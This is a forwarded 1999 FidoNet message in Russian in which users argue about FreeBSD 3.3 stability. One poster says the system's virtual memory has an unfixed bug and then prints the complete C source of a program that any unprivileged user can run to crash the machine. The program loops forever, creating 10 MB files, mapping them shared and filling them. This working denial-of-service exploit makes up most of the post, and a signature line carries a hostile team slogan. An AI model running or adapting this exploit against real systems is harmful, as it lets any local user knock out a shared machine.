Hello Boris!
At 27 Oct 99 22:20:20, Boris Aksenov wrote to All:
BA> Oleg Derevenetz <Oleg_Derevenetz@p4.f3.n5025.z2.fidonet.org> wrote:
OD>>>> Ставь 2.2.8 - не ошибешься ;-)
MK>>> 3.3 по стабильности вполне нормален.
OD>> ;-) Да ну ? Хочешь мелкую программулину (C) by Alexey Fedorov после
OD>> которой 3.3 жить не будет ? Я переписывался с неким FreeBSD-тимовцем,
OD>> занимающимся VM, он признал, что это баг, но он до сих пор не исправлен.
OD>> И вообще VM в 3.x сделана ненадежно (это уже мое ИМХО), пока не
OD>> исправят, я ее на серьезную машину не поставлю, а вот поиграться -
OD>> пожалуйста.
BA> чего это програмка делает то ? и от лица кого может положить систему
См. письмо самого Федорова на эту тему - почти одновременно с этим письмом
написано. Программа эта может положить систему будучи запущена под любым
пользователем, а делает примерно следующее: mmap'ит большой файлик (10 MB),
предварительно созданный open. А вот и сама программка:
>===== Start cut [/home/oleg/Temp/mmap.c] =====<
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
main()
{
int fd;
int i;
int len=1024*1024*10; /*ie 10Mbytes*/
caddr_t addr;
char ttt[80];
for (i=0;;i++)
{
sprintf (ttt,"%d",i);
fd=open(ttt,O_CREAT|O_RDWR,0666);
if (fd<0)
{
printf("open error %ld\n",errno);
exit(1);
}
lseek(fd,len-1,SEEK_SET);
write(fd,"",1);
addr=mmap(0,len,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
if (addr==MAP_FAILED)
{
printf("mmap error %ld",errno);
exit(1);
}
close(fd);
memset(addr,'x',len);
}
}
>===== End cut [/home/oleg/Temp/mmap.c] =====<
> [KILL THE YANKEE TEAM] [Team 5 колонну давить]
-- end of forwarded message --
-- С тем, что не помешает никогда, Kittle